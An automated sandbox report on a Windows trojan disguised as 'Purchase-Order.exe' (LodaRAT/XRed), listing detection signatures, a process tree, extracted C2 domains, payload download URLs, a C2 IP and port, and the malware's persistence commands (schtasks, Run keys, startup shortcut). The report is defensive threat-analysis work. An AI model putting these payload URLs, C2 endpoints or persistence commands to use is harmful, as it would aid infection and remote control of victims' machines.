Edit tour

Windows Analysis Report
Purchase-Order.exe

Overview

General Information

Sample name:	Purchase-Order.exe
Analysis ID:	1582343
MD5:	63a057389438a0b287d32e31149d6ad4
SHA1:	f2114dea9d348008317751d413bdf5d4fc047513
SHA256:	1150fc6830ed3e383726e18b447d840f62f74b30d072291762a70d6c7600cb45
Tags:	exeknkbkk212user-JAMESWT_MHT
Infos:

Detection

LodaRAT, XRed

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Found malware configuration

Icon mismatch, binary includes an icon from a different legit application in order to fool users

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LodaRAT

Yara detected XRed

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Document contains an embedded VBA macro with suspicious strings

Document contains an embedded VBA with functions possibly related to ADO stream file operations

Document contains an embedded VBA with functions possibly related to HTTP operations

Document contains an embedded VBA with functions possibly related to WSH operations (process, registry, environment, or keystrokes)

Drops PE files to the document folder of the user

Initial sample is a PE file and has a suspicious name

Machine Learning detection for dropped file

Machine Learning detection for sample

Sigma detected: Potentially Suspicious Malware Callback Communication

Sigma detected: Script Interpreter Execution From Suspicious Folder

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Uses dynamic DNS services

Uses schtasks.exe or at.exe to add and modify task schedules

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Detected potential crypto function

Document contains an embedded VBA macro which executes code when the document is opened / closed

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops files with a non-matching file extension (content does not match file extension)

Extensive use of GetProcAddress (often used to hide API calls)

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May infect USB drives

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

OS version to string mapping found (often used in BOTs)

PE file contains executable resources (Code or Archives)

Potential key logger detected (key state polling based)

Queries the installation date of Windows

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Startup Folder File Write

Sigma detected: Suspicious Schtasks From Env Var Folder

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Sleep loop found (likely to delay execution)

Stores files to the Windows start menu directory

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected ProcessChecker

Classification

Process Tree

System is w10x64

Purchase-Order.exe (PID: 6664 cmdline: "C:\Users\user\Desktop\Purchase-Order.exe" MD5: 63A057389438A0B287D32E31149D6AD4)

._cache_Purchase-Order.exe (PID: 6808 cmdline: "C:\Users\user\Desktop\._cache_Purchase-Order.exe" MD5: 5C99BB8A6972F6FCE154D00AA56F2F9D)

cmd.exe (PID: 5808 cmdline: C:\Windows\system32\cmd.exe /c schtasks /create /tn LMDNDG.exe /tr C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe /sc minute /mo 1 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 772 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 5468 cmdline: schtasks /create /tn LMDNDG.exe /tr C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe /sc minute /mo 1 MD5: 48C2FE20575769DE916F48EF0676A965)

wscript.exe (PID: 3228 cmdline: WSCript C:\Users\user\AppData\Local\Temp\LMDNDG.vbs MD5: FF00E0480075B095948000BDC66E81F0)

Synaptics.exe (PID: 6908 cmdline: "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate MD5: ACA4D70521DE30563F4F2501D4D686A5)

EXCEL.EXE (PID: 7020 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding MD5: 4A871771235598812032C822E6F68F19)

splwow64.exe (PID: 1436 cmdline: C:\Windows\splwow64.exe 12288 MD5: 77DE7761B037061C7C112FD3C5B91E73)

OJTLMJ.exe (PID: 3196 cmdline: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe MD5: 5C99BB8A6972F6FCE154D00AA56F2F9D)

OJTLMJ.exe (PID: 7500 cmdline: "C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe" MD5: 5C99BB8A6972F6FCE154D00AA56F2F9D)

OJTLMJ.exe (PID: 7676 cmdline: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe MD5: 5C99BB8A6972F6FCE154D00AA56F2F9D)

Synaptics.exe (PID: 8036 cmdline: "C:\ProgramData\Synaptics\Synaptics.exe" MD5: ACA4D70521DE30563F4F2501D4D686A5)

OJTLMJ.exe (PID: 7532 cmdline: "C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe" MD5: 5C99BB8A6972F6FCE154D00AA56F2F9D)

OJTLMJ.exe (PID: 6980 cmdline: "C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe" MD5: 5C99BB8A6972F6FCE154D00AA56F2F9D)

OJTLMJ.exe (PID: 9204 cmdline: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe MD5: 5C99BB8A6972F6FCE154D00AA56F2F9D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Loda, LodaRAT	Loda is a previously undocumented AutoIT malware with a variety of capabilities for spying on victims. Proofpoint first observed Loda in September of 2016 and it has since grown in popularity. The name Loda is derived from a directory to which the malware author chose to write keylogger logs. It should be noted that some antivirus products currently detect Loda as Trojan.Nymeria, although the connection is not well-documented.	No Attribution	https://blog.talosintelligence.com/2020/02/loda-rat-grows-up.html https://blog.talosintelligence.com/2020/09/lodarat-update-alive-and-well.html https://blog.talosintelligence.com/2021/02/kasablanka-lodarat.html https://blog.talosintelligence.com/attributing-yorotrooper/ https://blog.talosintelligence.com/get-a-loda-this/	https://malpedia.caad.fkie.fraunhofer.de/details/win.loda

Malware Configuration

Threatname: XRed

{"C2 url": "xred.mooo.com", "Email": "xredline1@gmail.com", "Payload urls": ["http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978", "https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download", "https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1", "http://xred.site50.net/syn/SUpdate.ini", "https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download", "https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1", "http://xred.site50.net/syn/Synaptics.rar", "https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download", "https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1", "http://xred.site50.net/syn/SSLLibrary.dll"]}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
Purchase-Order.exe	JoeSecurity_XRed	Yara detected XRed	Joe Security
Purchase-Order.exe	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_LodaRat_1	Yara detected LodaRAT	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\Users\user\AppData\Local\Temp\LMDNDG.vbs	JoeSecurity_ProcessChecker	Yara detected ProcessChecker	Joe Security
C:\Users\user\Documents\~$cache1	JoeSecurity_XRed	Yara detected XRed	Joe Security
C:\Users\user\Documents\~$cache1	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\ProgramData\Synaptics\RCX600B.tmp	JoeSecurity_XRed	Yara detected XRed	Joe Security
C:\ProgramData\Synaptics\RCX600B.tmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\ProgramData\Synaptics\Synaptics.exe	JoeSecurity_XRed	Yara detected XRed	Joe Security
C:\ProgramData\Synaptics\Synaptics.exe	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
Click to see the 2 entries

Memory Dumps

Source	Rule	Description	Author
00000000.00000000.1695406203.0000000000401000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_XRed	Yara detected XRed	Joe Security
00000000.00000000.1695406203.0000000000401000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
00000002.00000003.1779135345.00000000005DC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_XRed	Yara detected XRed	Joe Security
Process Memory Space: Purchase-Order.exe PID: 6664	JoeSecurity_XRed	Yara detected XRed	Joe Security
Process Memory Space: Synaptics.exe PID: 6908	JoeSecurity_XRed	Yara detected XRed	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.Purchase-Order.exe.400000.0.unpack	JoeSecurity_XRed	Yara detected XRed	Joe Security
0.0.Purchase-Order.exe.400000.0.unpack	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security

Sigma Signatures

System Summary

Sigma detected: Potentially Suspicious Malware Callback Communication

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 172.111.138.100, DestinationIsIpv6: false, DestinationPort: 5552, EventID: 3, Image: C:\Users\user\Desktop\._cache_Purchase-Order.exe, Initiated: true, ProcessId: 6808, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49758

Sigma detected: Script Interpreter Execution From Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: WSCript C:\Users\user\AppData\Local\Temp\LMDNDG.vbs, CommandLine: WSCript C:\Users\user\AppData\Local\Temp\LMDNDG.vbs, CommandLine|base64offset|contains: Y , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\._cache_Purchase-Order.exe" , ParentImage: C:\Users\user\Desktop\._cache_Purchase-Order.exe, ParentProcessId: 6808, ParentProcessName: ._cache_Purchase-Order.exe, ProcessCommandLine: WSCript C:\Users\user\AppData\Local\Temp\LMDNDG.vbs, ProcessId: 3228, ProcessName: wscript.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: WSCript C:\Users\user\AppData\Local\Temp\LMDNDG.vbs, CommandLine: WSCript C:\Users\user\AppData\Local\Temp\LMDNDG.vbs, CommandLine|base64offset|contains: Y , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\._cache_Purchase-Order.exe" , ParentImage: C:\Users\user\Desktop\._cache_Purchase-Order.exe, ParentProcessId: 6808, ParentProcessName: ._cache_Purchase-Order.exe, ProcessCommandLine: WSCript C:\Users\user\AppData\Local\Temp\LMDNDG.vbs, ProcessId: 3228, ProcessName: wscript.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: WSCript C:\Users\user\AppData\Local\Temp\LMDNDG.vbs, CommandLine: WSCript C:\Users\user\AppData\Local\Temp\LMDNDG.vbs, CommandLine|base64offset|contains: Y , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\._cache_Purchase-Order.exe" , ParentImage: C:\Users\user\Desktop\._cache_Purchase-Order.exe, ParentProcessId: 6808, ParentProcessName: ._cache_Purchase-Order.exe, ProcessCommandLine: WSCript C:\Users\user\AppData\Local\Temp\LMDNDG.vbs, ProcessId: 3228, ProcessName: wscript.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe", EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\._cache_Purchase-Order.exe, ProcessId: 6808, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\LMDNDG

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\Desktop\._cache_Purchase-Order.exe, ProcessId: 6808, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LMDNDG.lnk

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: schtasks /create /tn LMDNDG.exe /tr C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe /sc minute /mo 1, CommandLine: schtasks /create /tn LMDNDG.exe /tr C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe /sc minute /mo 1, CommandLine|base64offset|contains: mj,, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c schtasks /create /tn LMDNDG.exe /tr C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe /sc minute /mo 1, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 5808, ParentProcessName: cmd.exe, ProcessCommandLine: schtasks /create /tn LMDNDG.exe /tr C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe /sc minute /mo 1, ProcessId: 5468, ProcessName: schtasks.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: WSCript C:\Users\user\AppData\Local\Temp\LMDNDG.vbs, CommandLine: WSCript C:\Users\user\AppData\Local\Temp\LMDNDG.vbs, CommandLine|base64offset|contains: Y , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\._cache_Purchase-Order.exe" , ParentImage: C:\Users\user\Desktop\._cache_Purchase-Order.exe, ParentProcessId: 6808, ParentProcessName: ._cache_Purchase-Order.exe, ProcessCommandLine: WSCript C:\Users\user\AppData\Local\Temp\LMDNDG.vbs, ProcessId: 3228, ProcessName: wscript.exe

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\ProgramData\Synaptics\Synaptics.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\Purchase-Order.exe, ProcessId: 6664, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Synaptics Pointing Device Driver

Sigma detected: Office Macro File Creation

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\ProgramData\Synaptics\Synaptics.exe, ProcessId: 6908, TargetFilename: C:\Users\user\AppData\Local\Temp\PNFX2U4z.xlsm

Suricata Signatures

ET MALWARE Snake Keylogger Payload Request (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-30T11:35:55.334396+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49735	142.250.186.142	443	TCP
2024-12-30T11:35:55.369145+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49736	142.250.186.142	443	TCP
2024-12-30T11:35:56.333740+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49740	142.250.186.142	443	TCP
2024-12-30T11:35:56.462028+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49743	142.250.186.142	443	TCP
2024-12-30T11:35:57.375990+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49746	142.250.186.142	443	TCP
2024-12-30T11:35:57.447128+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49749	142.250.186.142	443	TCP
2024-12-30T11:35:58.365272+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49753	142.250.186.142	443	TCP
2024-12-30T11:35:58.419082+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49755	142.250.186.142	443	TCP
2024-12-30T11:35:59.054389+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49763	142.250.186.142	443	TCP
2024-12-30T11:35:59.054597+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49762	142.250.186.142	443	TCP
2024-12-30T11:36:00.028678+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49767	142.250.186.142	443	TCP
2024-12-30T11:36:00.040252+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49766	142.250.186.142	443	TCP
2024-12-30T11:36:01.021011+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49774	142.250.186.142	443	TCP
2024-12-30T11:36:01.033440+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49772	142.250.186.142	443	TCP
2024-12-30T11:36:02.033273+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49777	142.250.186.142	443	TCP
2024-12-30T11:36:02.033283+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49776	142.250.186.142	443	TCP
2024-12-30T11:36:03.021610+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49781	142.250.186.142	443	TCP
2024-12-30T11:36:03.021633+0100	2044887	1	A Network Trojan was detected	192.168.2.4	49782	142.250.186.142	443	TCP

ETPRO MALWARE Loda Logger CnC Beacon

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-30T11:35:57.671734+0100	2822116	1	Malware Command and Control Activity Detected	192.168.2.4	49758	172.111.138.100	5552	TCP

ETPRO MALWARE Loda Logger CnC Beacon Response M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-30T11:36:50.131980+0100	2830912	1	Malware Command and Control Activity Detected	172.111.138.100	5552	192.168.2.4	49758	TCP
2024-12-30T11:37:25.462798+0100	2830912	1	Malware Command and Control Activity Detected	172.111.138.100	5552	192.168.2.4	49758	TCP
2024-12-30T11:38:03.509389+0100	2830912	1	Malware Command and Control Activity Detected	172.111.138.100	5552	192.168.2.4	49758	TCP

ETPRO MALWARE W32.Bloat-A Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-30T11:35:55.836952+0100	2832617	1	Malware Command and Control Activity Detected	192.168.2.4	49739	69.42.215.252	80	TCP

ETPRO MOBILE_MALWARE Trojan-Spy.AndroidOS.Agent.rz Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-30T11:35:48.082414+0100	2849885	1	Malware Command and Control Activity Detected	192.168.2.4	49758	172.111.138.100	5552	TCP
2024-12-30T11:35:57.671734+0100	2849885	1	Malware Command and Control Activity Detected	192.168.2.4	49758	172.111.138.100	5552	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Purchase-Order.exe	Avira: detected
Source: Purchase-Order.exe	Avira: detected
Source: Purchase-Order.exe	Avira: detected

Antivirus detection for URL or domain

Source: http://xred.site50.net/syn/Synaptics.rarX	Avira URL Cloud: Label: malware
Source: http://xred.site50.net/syn/SSLLibrary.dl4	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\Desktop\._cache_Purchase-Order.exe	Avira: detection malicious, Label: HEUR/AGEN.1353217
Source: C:\Users\user\Documents\~$cache1	Avira: detection malicious, Label: TR/Dldr.Agent.SH
Source: C:\Users\user\Documents\~$cache1	Avira: detection malicious, Label: W2000M/Dldr.Agent.17651006
Source: C:\ProgramData\Synaptics\RCX600B.tmp	Avira: detection malicious, Label: TR/Dldr.Agent.SH
Source: C:\ProgramData\Synaptics\RCX600B.tmp	Avira: detection malicious, Label: W2000M/Dldr.Agent.17651006
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Avira: detection malicious, Label: HEUR/AGEN.1353217
Source: C:\ProgramData\Synaptics\Synaptics.exe	Avira: detection malicious, Label: TR/Dldr.Agent.SH
Source: C:\ProgramData\Synaptics\Synaptics.exe	Avira: detection malicious, Label: HEUR/AGEN.1353217
Source: C:\ProgramData\Synaptics\Synaptics.exe	Avira: detection malicious, Label: W2000M/Dldr.Agent.17651006
Source: C:\Users\user\AppData\Local\Temp\LMDNDG.vbs	Avira: detection malicious, Label: VBS/Runner.VPJI

Found malware configuration

Source: Purchase-Order.exe

Malware Configuration Extractor: XRed {"C2 url": "xred.mooo.com", "Email": "xredline1@gmail.com", "Payload urls": ["http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978", "https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download", "https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1", "http://xred.site50.net/syn/SUpdate.ini", "https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download", "https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1", "http://xred.site50.net/syn/Synaptics.rar", "https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download", "https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1", "http://xred.site50.net/syn/SSLLibrary.dll"]}

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\Synaptics\RCX600B.tmp	ReversingLabs: Detection: 91%
Source: C:\ProgramData\Synaptics\Synaptics.exe	ReversingLabs: Detection: 92%
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	ReversingLabs: Detection: 57%
Source: C:\Users\user\Desktop\._cache_Purchase-Order.exe	ReversingLabs: Detection: 57%
Source: C:\Users\user\Documents\~$cache1	ReversingLabs: Detection: 91%

Multi AV Scanner detection for submitted file

Source: Purchase-Order.exe	Virustotal: Detection: 86%			Perma Link
Source: Purchase-Order.exe	ReversingLabs: Detection: 92%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 91.7% probability

Machine Learning detection for dropped file

Source: C:\Users\user\Desktop\._cache_Purchase-Order.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Documents\~$cache1	Joe Sandbox ML: detected
Source: C:\ProgramData\Synaptics\RCX600B.tmp	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\Windata\OJTLMJ.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\Synaptics\Synaptics.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: Purchase-Order.exe

Joe Sandbox ML: detected

Source: Purchase-Order.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.97:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.97:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.97:443 -> 192.168.2.4:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.97:443 -> 192.168.2.4:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49817 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49821 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.97:443 -> 192.168.2.4:49830 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49829 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49833 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.97:443 -> 192.168.2.4:49832 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49842 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49845 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.97:443 -> 192.168.2.4:49850 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.97:443 -> 192.168.2.4:49852 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49857 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49858 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49871 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49872 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49878 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49879 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49883 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49884 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.97:443 -> 192.168.2.4:49885 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.97:443 -> 192.168.2.4:49886 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49898 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49899 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.142:443 -> 192.168.2.4:49908 version: TLS 1.2
